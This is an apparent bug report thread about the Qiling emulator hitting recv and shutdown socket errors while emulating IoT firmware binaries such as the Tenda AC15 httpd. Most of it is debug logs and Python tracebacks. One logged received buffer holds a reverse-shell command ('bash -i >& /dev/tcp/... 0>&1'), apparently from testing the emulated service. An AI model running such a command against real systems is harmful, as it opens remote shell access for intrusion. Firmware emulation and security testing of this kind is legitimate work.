recv syscall BlockingIOError: [Errno 11] Resource temporarily unavailable
*Describe the bug
This bug be report,when run qiling?
It works fine when run with qemu-user-static.
[+] [Thread 2000] b'<SYSTEM>bash -i >& /dev/tcp/127.0.0.1/4444 0>&1</SYSTEM>'
[+] [Thread 2000] 0x90064488: recv(sockfd = 0x5, buf = 0x7ff3c918, length = 0x400, flags = 0x0) = 0x38
[+] [Thread 2000] Received interrupt: 0x2
[x] [Thread 2000] Syscall ERROR: ql_syscall_recv DEBUG: [Errno 11] Resource temporarily unavailable
Traceback (most recent call last):
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 374, in load_syscall
retval = syscall_hook(self.ql, *params)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 676, in ql_syscall_recv
content = sock.recv(length, flags)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 116, in recv
return self.__socket.recv(bufsize, flags)
BlockingIOError: [Errno 11] Resource temporarily unavailable
[+] [Thread 2000] [Thread Manager] Stop the world.
[+] [Thread 2000] [Thread Manager] Thread IDs: {2000, 2001, 2002}
[+] [Thread 2000] [Thread Manager] Thread IDs: {2000, 2002}
[+] [Thread 2000] [Thread Manager] Thread IDs: {2000}
[+] [Thread 2000] [Thread Manager] Thread IDs: set()
[+] [Thread 2000] [Thread Manager] Stop the world.
Traceback (most recent call last):
File "src/gevent/greenlet.py", line 908, in gevent._gevent_cgreenlet.Greenlet.run
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/thread.py", line 242, in _run
self.ql.emu_start(start_address, self.exit_point, count=31337)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core.py", line 775, in emu_start
raise self.internal_exception
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks.py", line 127, in wrapper
return callback(*args, **kwargs)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks.py", line 170, in _hook_intr_cb
ret = hook.call(ql, intno)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks_types.py", line 25, in call
return self.callback(ql, *args)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 138, in hook_syscall
return self.load_syscall()
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 392, in load_syscall
raise e
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 374, in load_syscall
retval = syscall_hook(self.ql, *params)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 676, in ql_syscall_recv
content = sock.recv(length, flags)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 116, in recv
return self.__socket.recv(bufsize, flags)
BlockingIOError: [Errno 11] Resource temporarily unavailable
2023-08-15T00:41:26Z <QlLinuxARMThread at 0x7fc2d56efe00: _run> failed with BlockingIOError
[+] [Thread 2000] Perform CLONE_CHILD_CLEARTID at 0x900aa538
[+] [Thread 2000] No thread at 0x900aa538
[+] [Thread 2000] Perform CLONE_CHILD_CLEARTID at 0x900ba538
[+] [Thread 2000] No thread at 0x900ba538
Traceback (most recent call last):
File "qilingstart.py", line 62, in <module>
ql.run()
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core.py", line 595, in run
self.os.run()
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 164, in run
thread_management.run()
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/thread.py", line 618, in run
gevent.joinall([self.main_thread], raise_error=True)
File "src/gevent/greenlet.py", line 1065, in gevent._gevent_cgreenlet.joinall
File "src/gevent/greenlet.py", line 1081, in gevent._gevent_cgreenlet.joinall
File "src/gevent/greenlet.py", line 373, in gevent._gevent_cgreenlet.Greenlet._raise_exception
File "/home/tower/.local/lib/python3.8/site-packages/gevent/_compat.py", line 48, in reraise
raise value.with_traceback(tb)
File "src/gevent/greenlet.py", line 908, in gevent._gevent_cgreenlet.Greenlet.run
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/thread.py", line 242, in _run
self.ql.emu_start(start_address, self.exit_point, count=31337)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core.py", line 775, in emu_start
raise self.internal_exception
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks.py", line 127, in wrapper
return callback(*args, **kwargs)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks.py", line 170, in _hook_intr_cb
ret = hook.call(ql, intno)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/core_hooks_types.py", line 25, in call
return self.callback(ql, *args)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 138, in hook_syscall
return self.load_syscall()
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 392, in load_syscall
raise e
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 374, in load_syscall
retval = syscall_hook(self.ql, *params)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 676, in ql_syscall_recv
content = sock.recv(length, flags)
File "/home/tower/miniconda3/envs/iot/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 116, in recv
return self.__socket.recv(bufsize, flags)
BlockingIOError: [Errno 11] Resource temporarily unavailable
Sample Code
Expected behavior A clear and concise description of what you expected to happen.
Screenshots If applicable, add screenshots to help explain your problem.
Additional context Here is the startup code
ql = Qiling(["./cpio-root/usr/bin/noodles","-d"], "cpio-root",profile='./linux.ql', verbose=QL_VERBOSE.DEBUG, console = True ,ostype=QL_OS.LINUX,multithread=True)
I also meet the same problem when I tried to run tenda ac15 example. I thought I could simulate the httpd program. However, when I tried to get the request through the browser, the qiling terminal reported errors before the back end returned the page successfully. Some times it report Syscall ERROR: ql_syscall_shutdown DEBUG: [Errno 107] Transport endpoint is not connected error. Some times it report Syscall ERROR: ql_syscall_recv DEBUG: [Errno 11] Resource temporarily unavailable. In a very small probability, it can successfully return the page without an error.
My system is Ubuntu 20.04, and the version of qiling is 1.4.7.dev0. I'm running in a VMware virtual machine with 16G of memory and 8 cores. Python is 3.8.10, GCC is 9.4.0.
Has anyone met and solved this problem?
[+] 0x901ebf10: read(fd = 0x6, buf = 0x12c7f0, length = 0x800) = 0x294
[+] Received interrupt: 0x2
[+] 0x90226eb8: send(sockfd = 0x4, buf = 0x1251a0, length = 0x303, flags = 0x0) = 0x0
[+] Received interrupt: 0x2
[+] read() CONTENT: b''
[+] 0x901ebf10: read(fd = 0x6, buf = 0x12c7f0, length = 0x800) = 0x0
[+] Received interrupt: 0x2
[+] close(6) = 0
[+] 0x901ea670: close(fd = 0x6) = 0x0
[+] Received interrupt: 0x2
[+] 0x901ecd30: fcntl(fd = 0x4, cmd = 0x3, arg = 0x90) = 0x802
[+] Received interrupt: 0x2
[+] 0x901ecd30: fcntl(fd = 0x4, cmd = 0x4, arg = 0x2) = 0x0
[+] Received interrupt: 0x2
[+] 0x90226eb8: send(sockfd = 0x4, buf = 0x1251a0, length = 0x303, flags = 0x0) = 0x0
[+] Received interrupt: 0x2
[+] 0x901ecd30: fcntl(fd = 0x4, cmd = 0x3, arg = 0x10) = 0x2
[+] Received interrupt: 0x2
[+] 0x901ecd30: fcntl(fd = 0x4, cmd = 0x4, arg = 0x802) = 0x0
[+] Received interrupt: 0x2
[x] Syscall ERROR: ql_syscall_shutdown DEBUG: [Errno 107] Transport endpoint is not connected
Traceback (most recent call last):
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 213, in load_syscall
retval = syscall_hook(self.ql, *params)
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 364, in ql_syscall_shutdown
sock.shutdown(how)
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 80, in shutdown
return self.__socket.shutdown(how)
OSError: [Errno 107] Transport endpoint is not connected
Traceback (most recent call last):
File "tendaac1518_httpd.py", line 100, in <module>
my_sandbox([fr'{ROOTFS}/bin/httpd'], ROOTFS)
File "tendaac1518_httpd.py", line 93, in my_sandbox
ql.run()
File "/root/.local/lib/python3.8/site-packages/qiling/core.py", line 597, in run
self.os.run()
File "/root/.local/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 184, in run
self.ql.emu_start(self.ql.loader.elf_entry, self.exit_point, self.ql.timeout, self.ql.count)
File "/root/.local/lib/python3.8/site-packages/qiling/core.py", line 777, in emu_start
raise self.internal_exception
File "/root/.local/lib/python3.8/site-packages/qiling/core_hooks.py", line 127, in wrapper
return callback(*args, **kwargs)
File "/root/.local/lib/python3.8/site-packages/qiling/core_hooks.py", line 170, in _hook_intr_cb
ret = hook.call(ql, intno)
File "/root/.local/lib/python3.8/site-packages/qiling/core_hooks_types.py", line 25, in call
return self.callback(ql, *args)
File "/root/.local/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 138, in hook_syscall
return self.load_syscall()
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 231, in load_syscall
raise e
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 213, in load_syscall
retval = syscall_hook(self.ql, *params)
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 364, in ql_syscall_shutdown
sock.shutdown(how)
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 80, in shutdown
return self.__socket.shutdown(how)
OSError: [Errno 107] Transport endpoint is not connected
[+] 0x901ed2ec: write(fd = 0x5, buf = 0x7ff3b284, count = 0x7e0) = 0x7e0
[+] Received interrupt: 0x2
[+] 0x901ebf10: read(fd = 0x5, buf = 0x7ff3b284, length = 0x7e0) = -0x9 (EBADF)
[+] Received interrupt: 0x2
[+] close(5) = 0
[+] 0x901ea670: close(fd = 0x5) = 0x0
[+] Received interrupt: 0x2
[+] 0x90226eb8: send(sockfd = 0x4, buf = 0x1251a0, length = 0x13, flags = 0x0) = 0x13
[+] Received interrupt: 0x2
[+] 0x90226eb8: send(sockfd = 0x4, buf = 0x1251a0, length = 0x2eb, flags = 0x0) = 0x2eb
[+] Received interrupt: 0x2
[+] 0x901ecd30: fcntl(fd = 0x4, cmd = 0x3, arg = 0x80) = 0x802
[+] Received interrupt: 0x2
[+] 0x901ecd30: fcntl(fd = 0x4, cmd = 0x4, arg = 0x2) = 0x0
[+] Received interrupt: 0x2
[+] 0x901ecd30: fcntl(fd = 0x4, cmd = 0x3, arg = 0x0) = 0x2
[+] Received interrupt: 0x2
[+] 0x901ecd30: fcntl(fd = 0x4, cmd = 0x4, arg = 0x802) = 0x0
[+] Received interrupt: 0x2
[+] 0x90226f84: shutdown(sockfd = 0x4, how = 0x1) = 0x0
[+] Received interrupt: 0x2
[x] Syscall ERROR: ql_syscall_recv DEBUG: [Errno 11] Resource temporarily unavailable
Traceback (most recent call last):
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 213, in load_syscall
retval = syscall_hook(self.ql, *params)
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 676, in ql_syscall_recv
content = sock.recv(length, flags)
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 116, in recv
return self.__socket.recv(bufsize, flags)
BlockingIOError: [Errno 11] Resource temporarily unavailable
Traceback (most recent call last):
File "tendaac1518_httpd.py", line 100, in <module>
my_sandbox([fr'{ROOTFS}/bin/httpd'], ROOTFS)
File "tendaac1518_httpd.py", line 93, in my_sandbox
ql.run()
File "/root/.local/lib/python3.8/site-packages/qiling/core.py", line 597, in run
self.os.run()
File "/root/.local/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 184, in run
self.ql.emu_start(self.ql.loader.elf_entry, self.exit_point, self.ql.timeout, self.ql.count)
File "/root/.local/lib/python3.8/site-packages/qiling/core.py", line 777, in emu_start
raise self.internal_exception
File "/root/.local/lib/python3.8/site-packages/qiling/core_hooks.py", line 127, in wrapper
return callback(*args, **kwargs)
File "/root/.local/lib/python3.8/site-packages/qiling/core_hooks.py", line 170, in _hook_intr_cb
ret = hook.call(ql, intno)
File "/root/.local/lib/python3.8/site-packages/qiling/core_hooks_types.py", line 25, in call
return self.callback(ql, *args)
File "/root/.local/lib/python3.8/site-packages/qiling/os/linux/linux.py", line 138, in hook_syscall
return self.load_syscall()
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 231, in load_syscall
raise e
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/posix.py", line 213, in load_syscall
retval = syscall_hook(self.ql, *params)
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/syscall/socket.py", line 676, in ql_syscall_recv
content = sock.recv(length, flags)
File "/root/.local/lib/python3.8/site-packages/qiling/os/posix/filestruct.py", line 116, in recv
return self.__socket.recv(bufsize, flags)
BlockingIOError: [Errno 11] Resource temporarily unavailable
same issue here
i met the same issues when emulating tendaac httpd